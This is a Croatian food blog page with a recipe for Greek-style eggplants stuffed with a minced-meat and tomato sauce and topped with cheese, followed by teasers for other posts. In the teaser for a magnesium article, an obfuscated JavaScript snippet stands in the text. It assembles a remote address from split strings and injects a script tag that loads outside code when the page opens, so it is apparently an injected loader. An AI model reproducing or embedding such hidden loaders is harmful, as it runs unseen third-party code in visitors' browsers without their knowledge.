PATLIDŽANI PUNJENI MLJEVENIM MESOM 🍆




Patlidžani punjeni mljevenim mesom 



Patlidžani punjeni mljevenim mesom tradicionalno su grčko jelo, poznato pod nazivom papoutsakia. Pripremaju se od mekanih pečenih patlidžana koji se pune bogatim mesnim umakom od rajčice i začina, a na vrh dolazi naribani sir koji se rastopi i savršeno dovrši čitavu priču.





Patlidžani punjeni mljevenim mesom 


Sastojci:

Za patlidžane

  • 2 veća patlidžana (oko 800 g)
  • 2 žlice maslinova ulja
  • sol
  • svježe mljeveni crni papar

Za mesni nadjev

  • 500 g mljevene junetine ili miješanog mljevenog mesa
  • 1 veći luk (oko 150 g), sitno nasjeckan
  • 2 češnja češnjaka, sitno nasjeckana
  • 400 g sjeckanih rajčica iz konzerve ili 400 ml pasirane rajčice
  • 1 žlica koncentrata rajčice
  • 1 čajna žličica sušenog origana
  • prstohvat mljevenog cimeta
  • 1 žlica maslinova ulja
  • sol
  • papar

Za završni sloj

  • 150 g naribanog sira (gauda, ementaler ili mozzarella)
  • 1 jaje, po želji
  • 3 žlice kiselog vrhnja, po želji



Priprema:

  1. Pećnicu zagrijte na 200 stupnjeva. Patlidžane prerežite po dužini, a meso zarežite nožem u obliku mreže, pazeći da ne oštetite koru. Premažite ih maslinovim uljem, posolite i popaprite. Posložite ih na lim obložen papirom za pečenje i pecite 30 do 35 minuta, odnosno dok potpuno ne omekšaju. Kada se malo ohlade, žlicom pažljivo izdubite dio mesa i ostavite ga sa strane jer će dodatno obogatiti nadjev.
  2. U većoj tavi zagrijte maslinovo ulje pa kratko pirjajte luk dok ne postane staklast. Dodajte češnjak i miješajte još oko minutu. Umiješajte mljeveno meso i pržite ga dok ne izgubi ružičastu boju i lagano se zapeče.
  3. Dodajte sjeckane rajčice ili pasiranu rajčicu, koncentrat rajčice, origano, prstohvat cimeta te posolite i popaprite. Na kraju umiješajte usitnjeno meso izdubljenih patlidžana. Kuhajte na laganoj vatri 15 do 20 minuta, dok višak tekućine ne ispari, a umak postane gust i punog okusa.
  4. Pečene polovice patlidžana napunite pripremljenim mesnim nadjevom i obilno pospite naribanim sirom. Želite li kremastiji završetak, umutite jaje s kiselim vrhnjem i rasporedite preko nadjeva prije nego što dodate sir.
  5. Vratite patlidžane u pećnicu zagrijanu na 190 stupnjeva i pecite još oko 15 minuta, odnosno dok se sir ne rastopi i ne dobije lijepu zlatnosmeđu koricu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više